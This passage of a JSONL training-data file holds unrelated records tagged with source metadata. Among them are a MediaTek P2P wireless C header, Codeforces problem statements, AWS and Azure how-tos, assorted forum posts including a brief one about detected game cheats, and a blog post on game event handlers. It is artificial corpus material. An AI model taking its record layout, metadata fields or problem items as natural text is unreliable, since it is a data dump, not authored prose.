char *extra\n    );\n\nint\nmtk_p2p_wext_set_provision_complete(\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_start_stop_discovery(\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_discovery_results(\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_wsc_ie(\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_connect_disconnect(\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_password_ready(\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_request_dev_info(\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_invitation_indicate(\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_invitation_status(\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_set_pm_param (\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_set_ps_profile (\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_set_network_address (\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_set_int (\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\n/* Private Wireless I/O Controls for IOC_SET_STRUCT/IOC_GET_STRUCT */\nint\nmtk_p2p_wext_set_struct (\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_get_struct (\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\n/* IOC_SET_STRUCT/IOC_GET_STRUCT: Service Discovery */\nint\nmtk_p2p_wext_get_service_discovery_request (\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_get_service_discovery_response (\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_send_service_discovery_request (\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_send_service_discovery_response (\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_terminate_service_discovery_phase (\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\n#if CFG_SUPPORT_ANTI_PIRACY\nint\nmtk_p2p_wext_set_sec_check_request (\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_get_sec_check_response (\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n#endif\n\nint\nmtk_p2p_wext_set_noa_param (\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_set_oppps_param (\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_set_p2p_version(\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_get_p2p_version(\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\n\nvoid\nmtk_p2p_wext_set_Multicastlist(\n    IN P_GLUE_INFO_T prGlueInfo\n    );\n\n#if CFG_SUPPORT_P2P_RSSI_QUERY\nint\nmtk_p2p_wext_get_rssi(\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nstruct iw_statistics *\nmtk_p2p_wext_get_wireless_stats(\n    struct net_device *prDev\n    );\n\n#endif\n\nint\nmtk_p2p_wext_set_txpow(\n    IN struct net_device *prDev,\n    IN struct iw_request_info *prIwrInfo,\n    IN OUT union iwreq_data *prTxPow,\n    IN char *pcExtra\n    );\n\n\n/*******************************************************************************\n*                              F U N C T I O N S\n********************************************************************************\n*/\n\n#endif /* _GL_P2P_IOCTL_H */", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Vova is playing a computer game. There are in total $$$n$$$ turns in the game and Vova really wants to play all of them. The initial charge of his laptop battery (i.e. the charge before the start of the game) is $$$k$$$.\n\nDuring each turn Vova can choose what to do:\n\n- If the current charge of his laptop battery is strictly greater than $$$a$$$, Vova can just play, and then the charge of his laptop battery will decrease by $$$a$$$;\n- if the current charge of his laptop battery is strictly greater than $$$b$$$ ($$$b<a$$$), Vova can play and charge his laptop, and then the charge of his laptop battery will decrease by $$$b$$$;\n- if the current charge of his laptop battery is less than or equal to $$$a$$$ and $$$b$$$ at the same time then Vova cannot do anything and loses the game.\n\nRegardless of Vova's turns the charge of the laptop battery is always decreases.\n\nVova wants to complete the game (Vova can complete the game if after each of $$$n$$$ turns the charge of the laptop battery is strictly greater than $$$0$$$). Vova has to play exactly $$$n$$$ turns. Among all possible ways to complete the game, Vova wants to choose the one where the number of turns when he just plays (first type turn) is the maximum possible. It is possible that Vova cannot complete the game at all.\n\nYour task is to find out the maximum possible number of turns Vova can just play (make the first type turn) or report that Vova cannot complete the game.\n\nYou have to answer $$$q$$$ independent queries.", "source": "cpt_codeforces", "language": "en", "token_count": 350, "token_count_with_eod": 351, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I'm currently in my last year of my master's degree program \"Physics of Complex System\". I would like to write my master thesis about stochastic processes, but I'm having trouble in finding a good advisor with a good project within Europe, I'm planning of continuing my education with a Phd. Any advices?\nTypically you get your advisor from your own institution. Your university makes the certificate indicating that you are \"good\". They put their reputation on the line by making that statement. So most universities want some quality control for at least the most central courses, like a thesis.\nAlso, think of this from the point of view of the advisor. Advising students is work, often enjoyable work, but still work. We usually get assigned students or a number of students we have to take, or we have to teach less other courses if we take x students, or in some other way get told by the department to do this for our own students. If we take outside students, that just adds to our workload, and is not compensated. However, enjoyable advising students is, I can think of even more enjoyable things to do, like playing with my own kids.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 238, "token_count_with_eod": 239, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Nothing you can do easily and not with vanilla AE, anyway. The example you posted is a fluid simulation from a 3D program (though a very poorly tweaked one) and that's pretty much the answer here: If you want the exact look, you have to invoke those expensive tools and programs. Otherwise some of it may be possible to fake using layers upon layers and complex particle systems like Stardust, but even then it will be complicated and require long tweaking as well as long rendering due to massive amounts of particles and simulations. Such stuff simply isn't something where you push a button and it looks good.\nIt depends on how you are generating the particles. Some particle systems have walls that you can set up to make particle bounce, some have obstructions you can create with masks or the alpha channels of other layers. Sometimes you need two layers with particles so you can deflect the particles from one emitter in one direction and the other emitter in a different direction.\nPlease tell us what tools you are using and we can give you more advice. If you are fortunate enough to have Trapcode Particular you can do some amazing things.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 229, "token_count_with_eod": 230, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "User ainta decided to make a new instant messenger called \"aintalk\". With aintalk, each user can chat with other people. User ainta made the prototype of some functions to implement this thing.\n\n1. login(u): User u logins into aintalk and becomes online.\n2. logout(u): User u logouts and becomes offline.\n3. add_friend(u, v): User u and user v become friends. It means, u and v can talk with each other. The friendship is bidirectional.\n4. del_friend(u, v): Unfriend user u and user v. It means, u and v cannot talk with each other from then.\n5. count_online_friends(u): The function returns the number of friends of user u who are online at the moment.\n\nBecause the messenger is being tested by some users numbered from 1 to n, there is no register method. This means, at the beginning, some users may be online, and some users may have friends.\n\nUser ainta is going to make these functions, but before making the messenger public, he wants to know whether he is correct. Help ainta verify his code.", "source": "cpt_codeforces", "language": "en", "token_count": 242, "token_count_with_eod": 243, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "//////////////////////////////////////////////////////////////////////////////////////////\n//\n//    Arduino library for the MAX30205 body temperature sensor breakout board\n//\n//    Author: Ashwin Whitchurch\n//    Copyright (c) 2018 ProtoCentral\n//\n//    This software is licensed under the MIT License(http://opensource.org/licenses/MIT).\n//\n//   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT\n//   NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n//   IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n//   WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n//   SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n//\n//   For information on how to use, visit https://github.com/protocentral/ProtoCentral_MAX30205\n/////////////////////////////////////////////////////////////////////////////////////////\n\n#define MAX30205_ADDRESS1        0x49  // 8bit address converted to 7bit\n#define MAX30205_ADDRESS2        0x48  // 8bit address converted to 7bit\n\n// Registers\n#define MAX30205_TEMPERATURE    0x00  //  get temperature ,Read only\n#define MAX30205_CONFIGURATION  0x01  //\n#define MAX30205_THYST          0x02  //\n#define MAX30205_TOS            0x03  //\n\n#include <drivers/i2c.h>\n\n\ntypedef unsigned char uint8_t;\n\ntypedef enum{   \t//For configuration registers\n  SHUTDOWN,    \t\t// shutdwon mode to reduce power consumption <3.5uA\n  COMPARATOR,    \t// Bit 0 = operate OS in comparator mode, 1= INTERRUPT MODE\n  OS_POLARITY,    \t// Polarity bit ;Bit 0 = Active low output, Bit 1 = Active high\n  FAULT_QUEUE_0,    // Fault indication bits\n  FAULT_QUEUE_1,    // Fault indication bits\n  DATA_FORMAT,      //Data Format\n  TIME_OUT,          //Time out\n  ONE_SHOT           //1= One shot, 0 = Continuos\n}configuration;\n\n\nclass MAX30205 {\npublic:\n\n  MAX30205(const device *i2c_dev);\n\n  float temperature = 0;      // Last temperature\n  uint8_t sensorAddress = MAX30205_ADDRESS1;\n  void  shutdown(void);   // Instructs device to power-save\n  void  printRegisters(void); // Dumps contents of registers for debug\n  void begin(void);\n  float getTemperature(void);\n  bool scanAvailableSensors(void);\n\nprivate:\n  const device *i2c_dev;\n\n  void    I2CwriteByte(uint8_t address, uint8_t subAddress, uint8_t data);\n  uint8_t I2CreadByte(uint8_t address, uint8_t subAddress);\n  void    I2CreadBytes(uint8_t address, uint8_t subAddress, uint8_t * dest, uint8_t count);\n};", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Here you can see all the Azure PowerShell scripts and it’s usage. I would keep updating the page with more resources as and when I come across.\n1.To Connect to the Azure Cloud Subscription. Once you get the popups enter the Credentials.\n2. List the Azure subscription environment details.\n3. List all the VMs under the subscription.\n4. To get a detailed info on the VMs\nGet-AzureRmVM | Select *\n5. Get all locations and the supported resource providers for each location.\nGet-AzureRmLocation | ft -AutoSize\n6. Once you know the location, you can use below command to check the VM Sizes provided in a specific region.\nGet-AzureRmVMSize -Location westus\n7. List all the Web Apps.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 166, "token_count_with_eod": 167, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "How do I turn on CloudWatch Logs for troubleshooting my API Gateway REST API or WebSocket API?\nI need to debug errors with an Amazon API Gateway REST API or WebSocket API that I'm developing. How do I turn on logging to troubleshoot my API?\nTo troubleshoot an API Gateway REST API or WebSocket API, turn on execution logging and access logging using Amazon CloudWatch Logs.\nNote: HTTP APIs currently support access logging only, and logging setup is different for these APIs. For more information, see Configuring logging for an HTTP API.\nExecution logs contain information that you can use to identify and troubleshoot most API errors. For example:\n- The requests that your API receives\n- The integration backend responses from your API\n- The response provided by AWS Lambda authorizers\n- The requestId for AWS integration endpoints\n- Information on whether a provided API key was authorized\nAccess logs contain details about who accessed your API and how they accessed it. You can also use the logs for troubleshooting API errors. For more information about each type of logging, see CloudWatch log formats for API Gateway.\nCreate an IAM role for logging to CloudWatch\n1. In the AWS Identity and Access Management (IAM) console, in the navigation pane, choose Roles.\n2. On the Roles pane, choose Create role.\n3. On the Create role page, do the following:\nFor Trusted entity type, choose AWS Service.\nFor use case, choose API Gateway.\nChoose the API Gateway radio button.\n4. Under Permissions Policies, note that the AWS managed policy AmazonAPIGatewayPushToCloudWatchLogs is selected by default. The policy has all the required permissions.\n5. Choose Next.\n6. Under Name, review and create, do the following:\nFor Role name, enter a name for the role.\n(Optional) For Role description, edit the description to your preferences.\n(Optional) Add tags.\nChoose Create role.\n7. On the Roles pane, in the search bar, enter the name of the role that you created. Then, choose the role from the search results.\n8. On the Summary pane, copy the Role ARN. You need this Amazon Resource Name (ARN) in the next section.\nFor more information, see Permissions for CloudWatch logging.\nAdd the IAM role in the API Gateway console\nNote: If you're developing multiple APIs across different AWS Regions, complete these steps in each Region.\n1. In the API Gateway console, on the APIs pane, choose the name of an API that you created. This is either a REST API or a WebSocket API (not an HTTP API).\n2. In the left navigation pane, at the bottom, below the Client Certificates section, choose Settings.\n3. Under Settings, for CloudWatch log role ARN, paste the IAM role ARN that you copied.\n4. Choose Save.\nNote: The console doesn't confirm that the ARN is saved.\nTurn on logging for your API and stage\n1. In the API Gateway console, on the APIs pane, choose the name of an API that you created.\n2. In the left navigation pane, choose Stage. Then, select your desired stage name.\n3. Choose the Logs/Tracing tab.\n4. On the Logs/Tracing tab, under CloudWatch Settings, do the following to turn on execution logging:\nChoose the Enable CloudWatch Logs check box.\nFor Log level, choose INFO to generate execution logs for all requests. Or, choose ERROR to generate execution logs only for requests to your API that result in an error.\nFor REST APIs, choose the Log full requests/responses data check box. Or, for WebSocket APIs, choose the Log full message data check box.\n5. Under Custom Access Logging, do the following to turn on access logging:\nChoose the Enable Access Logging check box.\nFor Access Log Destination ARN, enter the ARN of an Amazon Kinesis Data Firehose (this is only supported in REST APIs) or a CloudWatch log group.\nEnter a Log Format. For guidance, choose CLF, JSON, XML, or CSV to see an example in that format.\n6. Choose Save Changes.\nNote: The console doesn't confirm that settings are saved.\nFor more information, see Set up CloudWatch API logging using the API Gateway console.\nTest your logging setup\n1. Send a new request to your API using your client application or a tool such as the Postman app or wscat (for WebSocket APIs).\n2. In the CloudWatch console, in the left navigation pane, under Logs, choose Log Groups.\n3. In the list of Log Groups, choose the log group of the API that you're debugging.\nFor REST APIs, the log group's name is in the following format: API-Gateway-Execution-Logs_apiId/stageName.\nFor WebSocket APIs, the log group's name is in the following format: /aws/apigateway/apiId/stageName.\nNote: The access logs are located in the log group whose ARN that you specified when you turned on access logging.\n4. In the list of Log Streams, choose the logs stream with the latest Last Event Time. This selection will allow you to see messages with the execution or access details of your request.\nFor more information, see View API Gateway log events in the CloudWatch console.\nSetting up CloudWatch logging for a REST API in API Gateway\nAPI Gateway mapping template and access logging variable reference\nMonitoring REST API execution with Amazon CloudWatch metrics\n- OFICIAL DE AWSActualizada hace 7 meses\n- OFICIAL DE AWSActualizada hace 6 meses\n- OFICIAL DE AWSActualizada hace 9 meses", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1191, "token_count_with_eod": 1192, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Related European Activities\nESCAPE stands for Energy-efficient Scalable Algorithms for Weather Prediction at Exascale. The project will develop world-class, extreme-scale computing capabilities for European operational numerical weather prediction and future climate models. The biggest challenge for state-of-the art NWP arises from the need to simulate complex physical phenomena within tight production schedules.\nPRIMAVERA stands for \"Process-based climate simulation: Advances in high-resolution modelling and European climate risk assessment\". It is a European Union Horizon 2020 project which aims to develop a new generation of advanced and well-evaluated high-resolution global climate models, capable of simulating and predicting regional climate with unprecedented fidelity, for the benefit of governments, business and society in general.\nThe Performance Optimisation and Productivity (POP) Centre of Excellence in Computing Applications provides performance optimisation and productivity services for academic and industrial code(s) in all domains.\nThe Energy oriented Centre of Excellence in computing applications (EoCoE: read as \"Echo\") uses the tremendous potential offered by the ever-growing computing infrastructure to foster and accelerate the European transition to a reliable and low carbon energy supply using HPC.\nThe CoeGSS project aims at empowering the community of analysts addressing global challenges through high-performance computing and data analysis. In particular, the project will develop an HPC-based framework to generate synthetic information systems for tackling global challenges.\nIS-ENES2 is the second phase project of the distributed e-infrastructure of models, model data and metadata of the European Network for Earth System Modelling (ENES). It gathers together the European modelling community working on understanding and predicting climate variability and change. IS-ENES2 combines expertise in climate modelling, computational science, data management and climate impacts.\nETP4HPC is the European Technology Platform (ETP) in the area of High-Performance Computing (HPC). It is an industry-led think-tank comprising of European HPC technology stakeholders: technology vendors, research centres and end-users. The main objective of ETP4HPC is to define research priorities and action plans in the area of HPC technology provision (i.e. the provision of supercomputing systems). ETP4HPC issues and maintains a Strategic Research Agenda as a mechanism to help the European Commission define the contents of the HPC Technology Work Programmes.\nThe European Extreme Data & Computing Initiative (EXDCI) objective is to support the development and implementation of a common strategy for the European HPC Ecosystem. The two most significant HPC bodies in Europe, PRACE and ETP4HPC, join their expertise in this 30-month project. EXDCI aims to support the road-mapping, strategy-making and performance-monitoring activities of the ecosystem.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "is work fine another on the windows ilke xp to 8.1 is fast ilke detected somethink ilke that this hacks is detected 100% but can work is the think is mean good\nwe dont care got bannd for lossing id for anythink right...\n- - - Updated - - -\nOriginally Posted by fifdina99\nwhy fast hack detected?\nI on BlackShot then at character hack detected?\nthe blackshot hacks in pass 5 hours is 100% detected but is work fine sometime so good lucky..", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 120, "token_count_with_eod": 121, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Adding rows to a room\n- Click the Generate Rows icon in the room design toolbar and follow the instructions in the Generate Rows wizard to get a quick standard row layout from which to start.\n- Or drag and drop individual rows from the Genomes pane into the layout and flip or resize as needed to get a customized row layout.\nAdding other elements to a room\nAdding room fixtures such as gaps and block, inner walls, cages, doors and windows allows you to create a more accurate model of the data center, making it easy to navigate the room.\n- Click the Genome Library icon and double-click Room Fixture to add the folder and elements to the Genomes pane.\n- Drag the element icons from the Genomes pane into position in the room layout.\n- Right-click an element in the layout and select Properties to edit e.g. name, size, or type properties, or use the icons in the room design toolbar for editing.\nGaps and blocks\nGaps and blocks represent areas in the room layout in which equipment cannot be placed.\nA gap is a section over which cables and cooling lines can be routed (such as a walkway or ramp).\nA block is a section over which cables and cooling lines cannot be routed (such as a support column).\nWalls and cages\nInner walls are represented as solid, mesh, or glass. You can copy properties from one wall to another or set a default wall type to be applied to all new walls.\nDoors are represented as slide or swing doors. Swing doors are color-coded in the layout based on security type.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 326, "token_count_with_eod": 327, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Game studio \"DbZ Games\" wants to introduce another map in their popular game \"Valiant\". This time, the map named \"Panvel\" will be based on the city of Mumbai.\n\nMumbai can be represented as $$$n \\times m$$$ cellular grid. Each cell $$$(i, j)$$$ ($$$1 \\le i \\le n$$$; $$$1 \\le j \\le m$$$) of the grid is occupied by a cuboid building of height $$$a_{i,j}$$$.\n\nThis time, DbZ Games want to make a map that has perfect vertical gameplay. That's why they want to choose an $$$l \\times l$$$ square inside Mumbai, such that each building inside the square has a height of at least $$$l$$$.\n\nCan you help DbZ Games find such a square of the maximum possible size $$$l$$$?", "source": "cpt_codeforces", "language": "en", "token_count": 178, "token_count_with_eod": 179, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You have a statistic of price changes for one product represented as an array of $$$n$$$ positive integers $$$p_0, p_1, \\dots, p_{n - 1}$$$, where $$$p_0$$$ is the initial price of the product and $$$p_i$$$ is how the price was increased during the $$$i$$$-th month.\n\nUsing these price changes you are asked to calculate the inflation coefficients for each month as the ratio of current price increase $$$p_i$$$ to the price at the start of this month $$$(p_0 + p_1 + \\dots + p_{i - 1})$$$.\n\nYour boss said you clearly that the inflation coefficients must not exceed $$$k$$$ %, so you decided to increase some values $$$p_i$$$ in such a way, that all $$$p_i$$$ remain integers and the inflation coefficients for each month don't exceed $$$k$$$ %.\n\nYou know, that the bigger changes — the more obvious cheating. That's why you need to minimize the total sum of changes.\n\nWhat's the minimum total sum of changes you need to make all inflation coefficients not more than $$$k$$$ %?", "source": "cpt_codeforces", "language": "en", "token_count": 239, "token_count_with_eod": 240, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Can we derive Gk ἐυπάτωρ 'having a good father' straight from an IE root? The root would be a so-called nominal composite, that is, a noun formed from two elements, in this case an adverb and a noun. The first element of the compound is unproblematic *h1esu; it is the second part that may cause some troubles. The second nominal element is obviously derived from *ph2-tér-s (nom. sing), which is a standard hysterkinetic noun. The question becomes, then, can we derive an amphikinetic noun from a hysterokinetic one? The second element of the nominal composite would have to be *pá-tōr-s. The accent shift is interesting. From the root *ph2-tér-s, two methods of derivation are possible. First, the root with a syllabic laryngeal would have to hold the accent, so we would have *ph2-tōr-s. There are apparently roots which have accented syllabic resonants, but the roots (the ones for 'wolf' and 'bear') are a bit sketchy to being with, and to my knowledge there are no roots which have an accented syllabic laryngeal. So this, to me, seems unlikely. The second possibility is then the best one: namely that the accent shift occured after the 'loss' of the laryngeal and the creation of the 'a' vowel. Thus, in my view, we would have\n*ph2-tér-s > *pa-tér-s > *h1esu-pá-tōr-s >ἐυ-πάτωρ.\n*ph2-tér-s > *ph2-tōr-s [with the accent on the root] > *h1esu-pá-tōr-s >ἐυ-πάτωρ.\nGiven all of this, it seems that whether ἐυπάτωρ comes from a 'true' IE root hinges upon when the shift from *h2 > α happened, which presumably was a post-IE-pre-Greek development. Thus, I would argue that the Greek word cannot be derived straight from an IE root, given that the shift from *h2 > a is a prerequisite of the derivation of the nominal element in the compound. To be fair, though, nominal composites such as this need much more work. Perhaps it's a future project for me.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 500, "token_count_with_eod": 501, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Egor wants to achieve a rating of 1600 points on the well-known chess portal ChessForces and he needs your help!\n\nBefore you start solving the problem, Egor wants to remind you how the chess pieces move. Chess rook moves along straight lines up and down, left and right, as many squares as it wants. And when it wants, it can stop. The queen walks in all directions vertically and diagonally at any distance. You can see the examples below.\n\nTo reach the goal, Egor should research the next topic:\n\nThere is an $$$N \\times N$$$ board. Each cell of the board has a number from $$$1$$$ to $$$N ^ 2$$$ in it and numbers in all cells are distinct.\n\nIn the beginning, some chess figure stands in the cell with the number $$$1$$$. Note that this cell is already considered as visited. After that every move is determined by the following rules:\n\n1. Among all not visited yet cells to which the figure can get in one move, it goes to the cell that has minimal number.\n2. If all accessible cells were already visited and some cells are not yet visited, then the figure is teleported to the not visited cell that has minimal number. If this step happens, the piece pays a fee of $$$1$$$ vun.\n3. If all cells are already visited, the process is stopped.\n\nEgor should find an $$$N \\times N$$$ board on which the rook pays strictly less vuns than the queen during the round with this numbering. Help him to find such $$$N \\times N$$$ numbered board, or tell that it doesn't exist.", "source": "cpt_codeforces", "language": "en", "token_count": 345, "token_count_with_eod": 346, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "There's nothing that prohibits you from continuing to test a REST API manually when it uses OAuth authentication. OAuth simply requires that you send additional parameters: first that you negotiate the OAuth dance to get a request token and exchange it for an access token and then that each request has the necessary OAuth parameters (\noauth_nonce). You'd need to use a separate tool to do the signing (unless the product you're testing is willing to use\nPLAINTEXT as the signature method), but you could simply copy all of these values in manually to your current manual tool.\nIf that sounds like a lot of work, you're right! I think this is a good time to switch to automated testing. Libraries exist for most languages to consume OAuth services programmatically and that would handle all of those parameters and signing for you. You could build a generic tool that let a manual tester specify URLs and parameters by hand, or go farther and write something that did all the generation and validation automatically.\nUpdate: for doing some exploratory testing from the command line, it would certainly be helpful to have a\ncurl-like tool that handles some of the OAuth paramaters and signing. Check out oauth-proxy which may work for you -- it's intended exactly for exploring APIs on the command line. Or you may find that for your particular explorations, you want to build a script around oauth-proxy or a tool on top of one of the many OAuth libraries for different languages.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 290, "token_count_with_eod": 291, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Political Memory (Memopol) is a toolbox designed to help citizens follow the activity and voting records of their representatives in order to help them influence decision and policy-making.\nLe bot qui s'occupe d'ajouter les urls données par les bénévoles sur IRC dans la base de données des articles à \"rp-iser\"\nCampaign web site to monitor net neutrality violations made by operators.\nBlog about Memopol and its news. In Pelican.\nPolitical Memory is a tool designed by La Quadrature du Net to help citizens reach their representatives and track their voting records on issues related to fundamental freedoms online.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 123, "token_count_with_eod": 124, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "And for dvd production, i use professional quality tools only because I am an obnoxiously picky person and like to complicate my life needlessly.\nAnd we like that about you. So what are you using for DVD burning/producing?\nWell, last time I played around with it, DVDfab was the acclaimed recommendation, and I liked it also. It's flexible and powerful, perhaps a little complicated, but it's a complicated thing to make dvd menus and stuff if you want to customize every little thing.\nI found the most annoying part of the whole process converting the videos into the proper dvd format (video_ts, etc.). It takes a long time, it's complicated, huge files, very annoying. It is this precise reason why i don't really do this often...it takes too long.\nIn my opinion, dvd's and their format is old hat. Time to move on. I like mkv files because mkv has a lot of features. It would be cool to be able to purchase an mkv file eventually. So currently I'm more interested in mkv creation tools vs dvd creation tools. I don't think you can have menus in mkv files, but you can have chapters within the files and multiple audio streams and subs. So in one file, you can shove in a whole bunch of stuff. If I were a producer, I'd look into suites that can output mkv files with lots of customizeable options.\nFor video editing, after trying a bunch of suites, i settled on sony vegas. Haven't tried outputting to mkv yet. This is off topic...", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a complete undirected graph with n vertices. A number ai is assigned to each vertex, and the weight of an edge between vertices i and j is equal to ai xor aj.\n\nCalculate the weight of the minimum spanning tree in this graph.", "source": "cpt_codeforces", "language": "en", "token_count": 52, "token_count_with_eod": 53, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I’ve recently started building games for Gambit.com. We build turn-based games and you can gamble for Bitcoins, that’s the general idea.\nWhen writing turn-based browser games, most of the client-side programming consists of handling events – player clicked on something, placed a figure on the board, dropped a tile somewhere.\nSo you need to implement the game logic in the GUI. Here’s a real world requirement from the Dominoes game I’m building:\n- A player clicks on a tile from his hand\n- Next he clicks on a open end of the board in order to place the tile\n- If it’s a valid move, the tile gets placed, the server gets notified etc.\nSo you say “okay, simple enough” and start writing code. The first would be to catch the\nclick event and update\nmodel.selectedTile. You write a handler:\n1 2 3 4\nThis is a pseudo-Backbone code, but you get the idea.\nNow you want to put a border around the selected tile. Where do you put that code? Well, in the handlers of course. Let’s just add:\n1 2 3 4 5 6\nWait. Now, what’s this handler doing? It’s catching the ‘click’ event and it’s updating the view. You’re in trouble.\nWhy should a click handler be even aware of the looks of the game? It’s an innocent line of code – you might say. Okay.\nNow let’s tell the server the human player clicked an element, just for analytics sake.\nWhere do we put that code? In the click handler of course.\n1 2 3 4 5 6 7 8\nAnd where do we handle the error of the call, if any?\nWell in the click handler of course. The system is quickly and surely turning into chaos.\nWhat should an event handler do, what’s it’s job? Well:\n- Catch the event\n- Do some data transformation possibly (like taking the ‘data-tile-value’ out of the currentTarget)\n- Perhaps update the model – and finally\n- Notify the rest of the system that there’s been an update\n1 2 3 4 5 6 7\nNow, want to highlight the tile? Want to notify the server. Sure:\nNow that the\nthis.highlight function is separated and does exactly one thing, you can call it in case of, lets say, you want to mark only a valid tile in the players hand.\nWatch out for\n- Event handlers that do more then the necessary model updates and data transformations\n- Functions (event handlers included) that do two things or more things at once, like highlighting a tile and sending the server an update\n- Event handlers that know too much about the GUI or the 